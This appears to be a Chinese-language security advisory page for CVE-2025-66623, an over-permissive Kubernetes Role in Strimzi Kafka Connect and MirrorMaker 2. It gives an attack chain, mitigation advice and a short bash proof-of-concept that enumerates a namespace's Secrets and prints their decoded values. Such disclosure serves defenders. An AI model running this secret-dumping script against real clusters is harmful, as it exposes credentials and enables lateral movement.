IPBUF安全漏洞报告
English
CVE-2025-66623 CVSS 7.4 高危

CVE-2025-66623 Strimzi Kafka Connect/MirrorMaker 2 权限配置错误漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-66623
漏洞类型
权限提升/越权访问
CVSS评分
7.4 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Strimzi strimzi-kafka-operator

相关标签

权限提升越权访问KubernetesStrimziKafka ConnectMirrorMaker 2Secrets泄露RBAC配置错误CVE-2025-66623

漏洞概述

Strimzi是一个在Kubernetes或OpenShift上运行Apache Kafka集群的解决方案。从0.47.0版本开始到0.49.1之前的版本,Strimzi在某些部署场景下会创建一个错误的Kubernetes Role,该角色错误地授予了Apache Kafka Connect和Apache Kafka MirrorMaker 2 operands对特定Kubernetes命名空间中所有Secrets的GET访问权限。这一权限配置错误可能导致攻击者通过获取到的Secrets中的敏感凭证(如数据库密码、API密钥、TLS证书等)进行横向移动或权限提升攻击。由于攻击向量为邻接网络且无需认证,该漏洞在实际环境中具有较高的利用风险。

技术细节

该漏洞的根本原因在于Strimzi在创建Kubernetes Role时配置了过于宽泛的权限规则。在正常的Kafka Connect或MirrorMaker 2部署中,组件通常只需要访问特定的Secrets(如用于连接外部系统的凭证),但受影响的版本会为这些组件授予GET权限到命名空间内的所有Secrets资源。这违反了最小权限原则,使得任何能够与Kafka Connect或MirrorMaker 2组件交互的攻击者都可能读取敏感的配置信息。攻击者可以通过Kubernetes API直接查询Secrets列表或获取特定Secret的内容,获取包括数据库凭证、第三方服务API密钥、TLS证书等敏感数据。利用此漏洞需要攻击者处于同一邻接网络的Kubernetes环境中,能够访问到受影响的命名空间。CVSS评分7.4,主要影响机密性。

攻击链分析

STEP 1
步骤1
攻击者获得对目标Kubernetes命名空间的邻接网络访问权限
STEP 2
步骤2
攻击者识别受影响的Strimzi部署(版本0.47.0-0.49.0),查找Kafka Connect或MirrorMaker 2相关的ServiceAccount
STEP 3
步骤3
利用错误配置的Role,通过Kubernetes API对命名空间内的所有Secrets发起GET请求
STEP 4
步骤4
获取敏感信息,包括数据库凭证、API密钥、TLS证书等
STEP 5
步骤5
使用获取的凭证进行横向移动,访问其他系统或服务
STEP 6
步骤6
进一步提升权限或窃取更多敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-66623 PoC - Strimzi Kafka Connect Secret Access # Prerequisites: kubectl configured with access to the target namespace TARGET_NAMESPACE="strimzi" SECRET_LIST=$(kubectl get secrets -n $TARGET_NAMESPACE -o jsonpath='{.items[*].metadata.name}') echo "[*] Enumerating Secrets in namespace: $TARGET_NAMESPACE" for SECRET in $SECRET_LIST; do echo "[+] Attempting to read secret: $SECRET" kubectl get secret $SECRET -n $TARGET_NAMESPACE -o json | jq -r '.data | to_entries[] | " Key: \(.key), Value: \(.value | @base64d)"' done echo "[*] Checking for Kafka Connect service account" kubectl get serviceaccount -n $TARGET_NAMESPACE | grep -i connect echo "[*] Checking RoleBindings for Kafka Connect" kubectl get rolebindings -n $TARGET_NAMESPACE -o wide | grep -i connect

影响范围

Strimzi 0.47.0
Strimzi 0.47.1
Strimzi 0.48.0
Strimzi 0.48.1
Strimzi 0.49.0
Strimzi < 0.49.1

防御指南

临时缓解措施
如果无法立即升级,可通过手动修改Kubernetes Role配置来限制Kafka Connect和MirrorMaker 2组件的Secrets访问权限,仅保留必要的访问权限。同时启用Kubernetes审计日志并设置对Secrets访问的告警规则,监控异常的Secrets读取行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表